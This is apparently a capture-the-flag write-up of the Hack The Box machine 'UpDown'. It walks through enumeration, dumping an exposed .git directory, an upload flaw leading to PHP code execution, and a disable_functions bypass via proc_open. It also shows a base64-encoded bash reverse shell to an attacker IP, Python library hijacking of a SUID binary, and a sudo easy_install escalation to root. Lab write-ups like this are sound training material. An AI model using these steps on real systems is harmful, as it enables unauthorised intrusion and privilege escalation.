UpDown
13 minutes to read
disable_functions
in PHP. In the machine, there’s a SUID binary compiled out of a Python script, which can be abused with a library hijacking attack. Finally, the developer user is able to run easy_install
with sudo
, which leads to the privilege escalation- OS: Linux
- Difficulty: Medium
- IP Address: 10.10.11.177
- Release: 03 / 09 / 2022
Port scanning
# Nmap 7.93 scan initiated as: nmap -sC -sV -o nmap/targeted 10.10.11.177 -p 22,80
Nmap scan report for 10.10.11.177
Host is up (0.041s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 9e1f98d7c8ba61dbf149669d701702e7 (RSA)
| 256 c21cfe1152e3d7e5f759186b68453f62 (ECDSA)
|_ 256 5f6e12670a66e8e2b761bec4143ad38e (ED25519)
80/tcp open http Apache httpd 2.4.41 ((Ubuntu))
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Is my Website up ?
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done -- 1 IP address (1 host up) scanned in 8.52 seconds
This machine has ports 22 (SSH) and 80 (HTTP) open.
Enumeration
If we go to http://10.10.11.177
, we will see this webpage:
Actually, we see a domain name (siteisup.htb
). We can add it to /etc/hosts
, but the website for http://siteisup.htb
is the same.
First of all, we can enumerate more subdomains using ffuf
:
$ ffuf -w $WORDLISTS/dirbuster/directory-list-lowercase-2.3-medium.txt -u http://10.10.11.177 -H 'Host: FUZZ.siteisup.htb' -fs 1131
dev [Status: 403, Size: 281, Words: 20, Lines: 10, Duration: 91ms]
And also routes:
$ ffuf -w $WORDLISTS/dirbuster/directory-list-2.3-medium.txt -u http://siteisup.htb/FUZZ
dev [Status: 301, Size: 310, Words: 20, Lines: 10, Duration: 84ms]
[Status: 200, Size: 1131, Words: 186, Lines: 40, Duration: 57ms]
server-status [Status: 403, Size: 277, Words: 20, Lines: 10, Duration: 45ms]
We don’t have permission to access dev.siteisup.htb
:
$ curl -i http://dev.siteisup.htb/
HTTP/1.1 403 Forbidden
Date:
Server: Apache/2.4.41 (Ubuntu)
Content-Length: 281
Content-Type: text/html; charset=iso-8859-1
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>403 Forbidden</title>
</head><body>
<h1>Forbidden</h1>
<p>You don't have permission to access this resource.</p>
<hr>
<address>Apache/2.4.41 (Ubuntu) Server at dev.siteisup.htb Port 80</address>
</body></html>
And /dev
outputs nothing:
$ curl -i siteisup.htb/dev/
HTTP/1.1 200 OK
Date: Mon, 17 Oct 2022 21:20:00 GMT
Server: Apache/2.4.41 (Ubuntu)
Content-Length: 0
Content-Type: text/html; charset=UTF-8
$ curl -i siteisup.htb/dev/ -d ''
HTTP/1.1 200 OK
Date: Mon, 17 Oct 2022 21:20:04 GMT
Server: Apache/2.4.41 (Ubuntu)
Content-Length: 0
Content-Type: text/html; charset=UTF-8
So, let’s test the functionality of the website. We can test for http://siteisup.htb
, and it looks good:
The debug
option shows the full HTTP response:
If we try http://127.0.0.1
with debug
option, it also shows the HTML code of the current website:
Now, we can switch to curl
and try other endpoints and payloads. For instance, http://127.0.0.1/dev/
is up, but the response is empty:
$ curl siteisup.htb -sd 'site=http://127.0.0.1/dev/&debug=1' | sed -n '30,$p'
<center>http://127.0.0.1/dev/<br><font color='green'>is up.</font></center><center>Debug mode:<br><textarea>HTTP/1.1 200 OK
Date: Mon, 17 Oct 2022 20:45:35 GMT
Server: Apache/2.4.41 (Ubuntu)
Content-Length: 0
Content-Type: text/html; charset=UTF-8
</textarea></center> </section>
</div>
<div id="footer_wrap" class="outer">
<footer class="inner">
<p class="copyright">siteisup.htb</p><br>
</footer>
</div>
</body>
</html>
We can try to retrieve the file /etc/passwd
, but the server catches us:
$ curl siteisup.htb -sd 'site=file:///etc/passwd&debug=1' | sed -n '30,$p'
<center><font color='red'>Hacking attempt was detected !</font></center> </section>
</div>
<div id="footer_wrap" class="outer">
<footer class="inner">
<p class="copyright">siteisup.htb</p><br>
</footer>
</div>
</body>
</html>
The subdomain dev.siteisup.htb
seems to be down:
$ curl siteisup.htb -sd 'site=http://dev.siteisup.htb&debug=1' | sed -n '30,$p'
<center>http://dev.siteisup.htb<br><font color='red'>seems to be down.</font></center><center>Debug mode:<br><textarea></textarea></center> </section>
</div>
<div id="footer_wrap" class="outer">
<footer class="inner">
<p class="copyright">siteisup.htb</p><br>
</footer>
</div>
</body>
</html>
There’s nothing more to try here, so let’s enumerate a bit more.
Git enumeration
We can guess that /dev/
is an actual directory and there must be some files stored. Using ffuf
we can find a .git
directory:
$ ffuf -w $WORDLISTS/dirbuster/directory-list-2.3-medium.txt -u http://siteisup.htb/dev/FUZZ
[Status: 200, Size: 0, Words: 1, Lines: 1, Duration: 116ms]
$ ffuf -w $WORDLISTS/dirbuster/directory-list-2.3-medium.txt -u http://siteisup.htb/dev/.FUZZ
html [Status: 403, Size: 277, Words: 20, Lines: 10, Duration: 42ms]
php [Status: 403, Size: 277, Words: 20, Lines: 10, Duration: 42ms]
http [Status: 403, Size: 277, Words: 20, Lines: 10, Duration: 41ms]
htdocs [Status: 403, Size: 277, Words: 20, Lines: 10, Duration: 50ms]
htm [Status: 403, Size: 277, Words: 20, Lines: 10, Duration: 76ms]
ht [Status: 403, Size: 277, Words: 20, Lines: 10, Duration: 67ms]
git [Status: 301, Size: 315, Words: 20, Lines: 10, Duration: 61ms]
httpd [Status: 403, Size: 277, Words: 20, Lines: 10, Duration: 46ms]
...
Hence, it’s time for git-dumper
:
$ git-dumper http://siteisup.htb/dev/.git/ .
[-] Testing http://siteisup.htb/dev/.git/HEAD [200]
[-] Testing http://siteisup.htb/dev/.git/ [200]
[-] Fetching .git recursively
[-] Fetching http://siteisup.htb/dev/.git/ [200]
[-] Fetching http://siteisup.htb/dev/.gitignore [404]
[-] http://siteisup.htb/dev/.gitignore responded with status code 404
[-] Fetching http://siteisup.htb/dev/.git/objects/ [200]
[-] Fetching http://siteisup.htb/dev/.git/description [200]
[-] Fetching http://siteisup.htb/dev/.git/branches/ [200]
[-] Fetching http://siteisup.htb/dev/.git/hooks/ [200]
[-] Fetching http://siteisup.htb/dev/.git/logs/ [200]
[-] Fetching http://siteisup.htb/dev/.git/config [200]
[-] Fetching http://siteisup.htb/dev/.git/index [200]
[-] Fetching http://siteisup.htb/dev/.git/info/ [200]
[-] Fetching http://siteisup.htb/dev/.git/HEAD [200]
[-] Fetching http://siteisup.htb/dev/.git/refs/ [200]
[-] Fetching http://siteisup.htb/dev/.git/logs/HEAD [200]
[-] Fetching http://siteisup.htb/dev/.git/objects/info/ [200]
[-] Fetching http://siteisup.htb/dev/.git/objects/pack/ [200]
[-] Fetching http://siteisup.htb/dev/.git/logs/refs/ [200]
[-] Fetching http://siteisup.htb/dev/.git/hooks/post-update.sample [200]
[-] Fetching http://siteisup.htb/dev/.git/info/exclude [200]
[-] Fetching http://siteisup.htb/dev/.git/hooks/fsmonitor-watchman.sample [200]
[-] Fetching http://siteisup.htb/dev/.git/hooks/applypatch-msg.sample [200]
[-] Fetching http://siteisup.htb/dev/.git/hooks/pre-merge-commit.sample [200]
[-] Fetching http://siteisup.htb/dev/.git/hooks/pre-commit.sample [200]
[-] Fetching http://siteisup.htb/dev/.git/hooks/commit-msg.sample [200]
[-] Fetching http://siteisup.htb/dev/.git/hooks/pre-applypatch.sample [200]
[-] Fetching http://siteisup.htb/dev/.git/hooks/pre-rebase.sample [200]
[-] Fetching http://siteisup.htb/dev/.git/hooks/pre-receive.sample [200]
[-] Fetching http://siteisup.htb/dev/.git/hooks/pre-push.sample [200]
[-] Fetching http://siteisup.htb/dev/.git/hooks/push-to-checkout.sample [200]
[-] Fetching http://siteisup.htb/dev/.git/hooks/prepare-commit-msg.sample [200]
[-] Fetching http://siteisup.htb/dev/.git/refs/remotes/ [200]
[-] Fetching http://siteisup.htb/dev/.git/refs/tags/ [200]
[-] Fetching http://siteisup.htb/dev/.git/hooks/update.sample [200]
[-] Fetching http://siteisup.htb/dev/.git/refs/heads/ [200]
[-] Fetching http://siteisup.htb/dev/.git/objects/pack/pack-30e4e40cb7b0c696d1ce3a83a6725267d45715da.idx [200]
[-] Fetching http://siteisup.htb/dev/.git/objects/pack/pack-30e4e40cb7b0c696d1ce3a83a6725267d45715da.pack [200]
[-] Fetching http://siteisup.htb/dev/.git/logs/refs/heads/ [200]
[-] Fetching http://siteisup.htb/dev/.git/logs/refs/remotes/ [200]
[-] Fetching http://siteisup.htb/dev/.git/refs/heads/main [200]
[-] Fetching http://siteisup.htb/dev/.git/refs/remotes/origin/ [200]
[-] Fetching http://siteisup.htb/dev/.git/logs/refs/heads/main [200]
[-] Fetching http://siteisup.htb/dev/.git/logs/refs/remotes/origin/ [200]
[-] Fetching http://siteisup.htb/dev/.git/refs/remotes/origin/HEAD [200]
[-] Fetching http://siteisup.htb/dev/.git/logs/refs/remotes/origin/HEAD [200]
[-] Fetching http://siteisup.htb/dev/.git/packed-refs [200]
[-] Running git checkout .
Actualizadas 6 rutas desde el índice
Source code analysis
At this point, we can read the source code of the web application. First of all, we find a file named .htaccess
:
SetEnvIfNoCase Special-Dev "only4dev" Required-Header
Order Deny,Allow
Deny from All
Allow from env=Required-Header
This file is common in Apache/PHP web applications to limit access to the current directory. This time, we see that to access /dev/
we need to add a header Special-Dev
with value only4dev
.
This is index.php
:
<b>This is only for developers</b>
<br>
<a href="?page=admin">Admin Panel</a>
<?php
define("DIRECTACCESS",false);
$page=$_GET['page'];
if($page && !preg_match("/bin|usr|home|var|etc/i",$page)){
include($_GET['page'] . ".php");
}else{
include("checker.php");
}
?>
There’s a Local File Inclusion (LFI) vulnerability above, since we can control the parameter of include
. Nevertheless, the file must be a PHP file, because the server appends the extension .php
.
There’s also a changelog.txt
:
Beta version
1- Check a bunch of websites.
-- ToDo:
1- Multithreading for a faster version :D.
2- Remove the upload option.
3- New admin panel.
It looks like the developer wants to remove the upload option. The important script here is checker.php
:
<?php
if(DIRECTACCESS){
die("Access Denied");
}
?>
<!DOCTYPE html>
<html>
<head>
<meta charset='utf-8' />
<meta http-equiv="X-UA-Compatible" content="chrome=1" />
<link rel="stylesheet" type="text/css" media="screen" href="stylesheet.css">
<title>Is my Website up ? (beta version)</title>
</head>
<body>
<div id="header_wrap" class="outer">
<header class="inner">
<h1 id="project_title">Welcome,<br> Is My Website UP ?</h1>
<h2 id="project_tagline">In this version you are able to scan a list of websites !</h2>
</header>
</div>
<div id="main_content_wrap" class="outer">
<section id="main_content" class="inner">
<form method="post" enctype="multipart/form-data">
<label>List of websites to check:</label><br><br>
<input type="file" name="file" size="50">
<input name="check" type="submit" value="Check">
</form>
<?php
function isitup($url){
$ch=curl_init();
curl_setopt($ch, CURLOPT_URL, trim($url));
curl_setopt($ch, CURLOPT_USERAGENT, "siteisup.htb beta");
curl_setopt($ch, CURLOPT_HEADER, 1);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
curl_setopt($ch, CURLOPT_TIMEOUT, 30);
$f = curl_exec($ch);
$header = curl_getinfo($ch);
if($f AND $header['http_code'] == 200){
return array(true,$f);
}else{
return false;
}
curl_close($ch);
}
if($_POST['check']){
# File size must be less than 10kb.
if ($_FILES['file']['size'] > 10000) {
die("File too large!");
}
$file = $_FILES['file']['name'];
# Check if extension is allowed.
$ext = getExtension($file);
if(preg_match("/php|php[0-9]|html|py|pl|phtml|zip|rar|gz|gzip|tar/i",$ext)){
die("Extension not allowed!");
}
# Create directory to upload our file.
$dir = "uploads/".md5(time())."/";
if(!is_dir($dir)){
mkdir($dir, 0770, true);
}
# Upload the file.
$final_path = $dir.$file;
move_uploaded_file($_FILES['file']['tmp_name'], "{$final_path}");
# Read the uploaded file.
$websites = explode("\n",file_get_contents($final_path));
foreach($websites as $site){
$site=trim($site);
if(!preg_match("#file://#i",$site) && !preg_match("#data://#i",$site) && !preg_match("#ftp://#i",$site)){
$check=isitup($site);
if($check){
echo "<center>{$site}<br><font color='green'>is up ^_^</font></center>";
}else{
echo "<center>{$site}<br><font color='red'>seems to be down :(</font></center>";
}
}else{
echo "<center><font color='red'>Hacking attempt was detected !</font></center>";
}
}
# Delete the uploaded file.
@unlink($final_path);
}
function getExtension($file) {
$extension = strrpos($file,".");
return ($extension===false) ? "" : substr($file,$extension+1);
}
?>
</section>
</div>
<div id="footer_wrap" class="outer">
<footer class="inner">
<p class="copyright">siteisup.htb (beta)</p><br>
<a class="changelog" href="changelog.txt">changelog.txt</a><br>
</footer>
</div>
</body>
</html>
This is a previous version of the initial functionality. It is very strange how the upload functionality works:
- Upload a file (many extensions are not allowed)
# File size must be less than 10kb.
if ($_FILES['file']['size'] > 10000) {
die("File too large!");
}
$file = $_FILES['file']['name'];
# Check if extension is allowed.
$ext = getExtension($file);
if(preg_match("/php|php[0-9]|html|py|pl|phtml|zip|rar|gz|gzip|tar/i",$ext)){
die("Extension not allowed!");
}
- Create a directory inside
uploads
# Create directory to upload our file.
$dir = "uploads/".md5(time())."/";
if(!is_dir($dir)){
mkdir($dir, 0770, true);
}
- Move the file to the new directory
# Upload the file.
$final_path = $dir.$file;
move_uploaded_file($_FILES['file']['tmp_name'], "{$final_path}");
- Read the file and get each line
# Read the uploaded file.
$websites = explode("\n",file_get_contents($final_path));
- Iterate through the lines and see it the site is up with
isitup
foreach($websites as $site){
$site=trim($site);
if(!preg_match("#file://#i",$site) && !preg_match("#data://#i",$site) && !preg_match("#ftp://#i",$site)){
$check=isitup($site);
if($check){
echo "<center>{$site}<br><font color='green'>is up ^_^</font></center>";
}else{
echo "<center>{$site}<br><font color='red'>seems to be down :(</font></center>";
}
}else{
echo "<center><font color='red'>Hacking attempt was detected !</font></center>";
}
}
So the file should contain a list of websites to test.
Foothold
Probably there are a lot of ways of compromising this web application. My approach is the following:
- Upload a file named
test.phar
(this file will be executed by PHP and it is not prohibited) - In this file, add a website URL and some PHP code. The website is
http://dev.siteisup.htb
, which is not up for the application and thus takes some time to finish - Go to
http://dev.siteisup.htb/uploads/
(using the special HTTP headers) to get the name of the directory (it is an MD5 hash). Another way could be computing some time-based MD5 hashes and test them - Perform an HTTP request to
test.phar
, which contains PHP code that will be executed (we have some time while theisitup
function finishes)
All these steps where scripted in php_execute.py
(detailed explanation here). Now we can execute PHP code:
$ python3 php_execute.py '<?php echo "pwned"; ?>'
pwned
Getting RCE
Let’s try calling system
to see if we have Remote Code Execution (RCE):
$ python3 php_execute.py '<?php system("whoami"); ?>'
The output is empty… We can try with exec
, shell_exec
and passthru
and none of them work. Maybe the server has disable_functions
enabled. To check this, we can run phpinfo()
and analyze the list of functions:
$ python3 php_execute.py '<?php phpinfo(); ?>' | grep disable_functions
<tr><td class="e">disable_functions</td><td class="v">pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,error_log,system,exec,shell_exec,popen,passthru,link,symlink,syslog,ld,mail,stream_socket_sendto,dl,stream_socket_client,fsockopen</td><td class="v">pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,error_log,system,exec,shell_exec,popen,passthru,link,symlink,syslog,ld,mail,stream_socket_sendto,dl,stream_socket_client,fsockopen</td></tr>
Now it makes sense, all previously tested functions are disabled. However, there’s one that is not there: proc_open
(more information in HackTricks). With this function we can run system commands with PHP:
$ python3 php_execute.py '<?php $p = proc_open("whoami", array(array("pipe", "r"), array("pipe", "w"), array("pipe", "w")), $pipes); echo stream_get_contents($pipes[1]); ?>'
www-data
So, it’s time for a reverse shell:
$ echo -n 'bash -i >& /dev/tcp/10.10.17.44/4444 0>&1' | base64
YmFzaCAgLWkgPiYgL2Rldi90Y3AvMTAuMTAuMTcuNDQvNDQ0NCAwPiYx
$ python3 php_execute.py '<?php $p = proc_open("echo YmFzaCAgLWkgPiYgL2Rldi90Y3AvMTAuMTAuMTcuNDQvNDQ0NCAwPiYx | base64 -d | bash", array(array("pipe", "r"), array("pipe", "w"), array("pipe", "w")), $pipes); echo stream_get_contents($pipes[1]); ?>'
$ nc -nlvp 4444
Ncat: Version 7.93 ( https://nmap.org/ncat )
Ncat: Listening on :::4444
Ncat: Listening on 0.0.0.0:4444
Ncat: Connection from 10.10.11.177.
Ncat: Connection from 10.10.11.177:40964.
bash: cannot set terminal process group (912): Inappropriate ioctl for device
bash: no job control in this shell
www-data@updown:/var/www/dev/uploads/0bf9a4f3d7849eec968dc21acc26b43b$ cd ..
cd ..
www-data@updown:/var/www/dev/uploads$ script /dev/null -c bash
script /dev/null -c bash
Script started, file is /dev/null
www-data@updown:/var/www/dev/uploads$ ^Z
zsh: suspended ncat -nlvp 4444
$ stty raw -echo; fg
[1] + continued ncat -nlvp 4444
reset xterm
www-data@updown:/var/www/dev/uploads$ export TERM=xterm
www-data@updown:/var/www/dev/uploads$ export SHELL=bash
www-data@updown:/var/www/dev/uploads$ stty rows 50 columns 158
System enumeration
We can see that there’s a system user called developer
:
www-data@updown:/var/www/dev/uploads$ ls -l /home
total 4
drwxr-xr-x 6 developer developer 4096 Aug 30 11:24 developer
Inside /home/developer
we see a directory called dev
, and here there is a SUID binary called siteisup
and a Python script called siteisup_test.py
:
www-data@updown:/var/www/dev/uploads$ ls -la /home/developer
total 40
drwxr-xr-x 6 developer developer 4096 Aug 30 11:24 .
drwxr-xr-x 3 root root 4096 Jun 22 15:47 ..
lrwxrwxrwx 1 root root 9 Jul 27 14:21 .bash_history -> /dev/null
-rw-r--r-- 1 developer developer 231 Jun 22 15:45 .bash_logout
-rw-r--r-- 1 developer developer 3771 Feb 25 2020 .bashrc
drwx------ 2 developer developer 4096 Aug 30 11:24 .cache
drwxrwxr-x 3 developer developer 4096 Aug 1 18:19 .local
-rw-r--r-- 1 developer developer 807 Feb 25 2020 .profile
drwx------ 2 developer developer 4096 Aug 2 09:15 .ssh
drwxr-x--- 2 developer www-data 4096 Jun 22 15:45 dev
-rw-r----- 1 root developer 33 Oct 17 19:26 user.txt
www-data@updown:/var/www/dev/uploads$ ls -la /home/developer/dev/
total 32
drwxr-x--- 2 developer www-data 4096 Jun 22 15:45 .
drwxr-xr-x 6 developer developer 4096 Aug 30 11:24 ..
-rwsr-x--- 1 developer www-data 16928 Jun 22 15:45 siteisup
-rwxr-x--- 1 developer www-data 154 Jun 22 15:45 siteisup_test.py
www-data@updown:/var/www/dev/uploads$ file /home/developer/dev/siteisup
/home/developer/dev/siteisup: setuid ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=b5bbc1de286529f5291b48db8202eefbafc92c1f, for GNU/Linux 3.2.0, not stripped
As www-data
, we are able to read both files. The Python script looks like this:
import requests
url = input("Enter URL here:")
page = requests.get(url)
if page.status_code == 200:
print "Website is up"
else:
print "Website is down"
Probably, the binary is a compiled version of the script. We can try to crash it:
www-data@updown:/var/www/dev/uploads$ /home/developer/dev/siteisup
Welcome to 'siteisup.htb' application
Enter URL here:file:///etc/passwd
Traceback (most recent call last):
File "/home/developer/dev/siteisup_test.py", line 3, in <module>
url = input("Enter URL here:")
File "<string>", line 1
file:///etc/passwd
^
SyntaxError: invalid syntax
Indeed, it is the compiled version of the script. Now we have two options:
- Set a new
PYTHONPATH
variable and create a maliciousrequests.py
script, so that we hijack therequests
library - Since it is written in Python version 2.x, we can abuse the
input
function and execute arbitrary Python code (more information in www.geeksforgeeks.com)
I will use the first one:
www-data@updown:/var/www/dev/uploads$ cd /tmp
www-data@updown:/tmp$ echo 'import os; os.system("bash -p");' > requests.py
www-data@updown:/tmp$ export PYTHONPATH=.
www-data@updown:/tmp$ /home/developer/dev/siteisup
Welcome to 'siteisup.htb' application
developer@updown:/tmp$ cd /home/developer
developer@updown:/home/developer$ cat user.txt
cat: user.txt: Permission denied
Now we are developer
, but we can’t read the user.txt
flag because only user root
and members of developer
group are allowed:
developer@updown:/home/developer$ whoami
developer
developer@updown:/home/developer$ id
uid=1002(developer) gid=33(www-data) groups=33(www-data)
developer@updown:/home/developer$ ls -la
total 40
drwxr-xr-x 6 developer developer 4096 Aug 30 11:24 .
drwxr-xr-x 3 root root 4096 Jun 22 15:47 ..
lrwxrwxrwx 1 root root 9 Jul 27 14:21 .bash_history -> /dev/null
-rw-r--r-- 1 developer developer 231 Jun 22 15:45 .bash_logout
-rw-r--r-- 1 developer developer 3771 Feb 25 2020 .bashrc
drwx------ 2 developer developer 4096 Aug 30 11:24 .cache
drwxrwxr-x 3 developer developer 4096 Aug 1 18:19 .local
-rw-r--r-- 1 developer developer 807 Feb 25 2020 .profile
drwx------ 2 developer developer 4096 Aug 2 09:15 .ssh
drwxr-x--- 2 developer www-data 4096 Jun 22 15:45 dev
-rw-r----- 1 root developer 33 Oct 17 19:26 user.txt
But we can use the private SSH key to connect via SSH as developer
without password:
developer@updown:/home/developer$ ssh -i .ssh/id_rsa developer@127.0.0.1
The authenticity of host '127.0.0.1 (127.0.0.1)' can't be established.
ECDSA key fingerprint is SHA256:npwXkHj+pLo3LaYR66HNCKEpU/vUoTG03FL41SMlIh0.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '127.0.0.1' (ECDSA) to the list of known hosts.
developer@updown:~$ cat user.txt
bc6668d519991f103cc0f2ff873d5c9a
Privilege escalation
This user is able to run /usr/local/bin/easy_install
as root
with sudo
(no password required):
developer@updown:~$ sudo -l
Matching Defaults entries for developer on localhost:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User developer may run the following commands on localhost:
(ALL) NOPASSWD: /usr/local/bin/easy_install
This command is used to install Python libraries, it is just a package manager. Therefore, it is critical to have elevated privileges on such command.
There’s a GTFOBin that affects this command, so the privilege escalation is easy. Using my tool gtfobins-cli
we can find the steps needed to escalate privileges with easyinstall
and sudo
:
$ gtfobins-cli --sudo easy_install
easy_install ==> https://gtfobins.github.io/gtfobins/easy_install/
Sudo
If the binary is allowed to run as superuser by sudo, it does not drop the elevated privileges and may be used to access the file system, escalate or maintain privileged access.
TF=$(mktemp -d)
echo "import os; os.execl('/bin/sh', 'sh', '-c', 'sh <$(tty) >$(tty) 2>$(tty)')" > $TF/setup.py
sudo easy_install $TF
Now, we run the above commands and we get access as root
:
developer@updown:~$ cd /tmp
developer@updown:/tmp$ TF=$(mktemp -d)
developer@updown:/tmp$ echo "import os; os.execl('/bin/sh', 'sh', '-c', 'sh <$(tty) >$(tty) 2>$(tty)')" > $TF/setup.py
developer@updown:/tmp$ sudo easy_install $TF
WARNING: The easy_install command is deprecated and will be removed in a future version.
Processing tmp.Jrtbwy1kde
Writing /tmp/tmp.Jrtbwy1kde/setup.cfg
Running setup.py -q bdist_egg --dist-dir /tmp/tmp.Jrtbwy1kde/egg-dist-tmp-cTzxdU
# whoami
root
# bash
root@updown:/tmp/tmp.Jrtbwy1kde# cd
root@updown:~# cat root.txt
1161dfa939e78faecd7b07fda0ddec82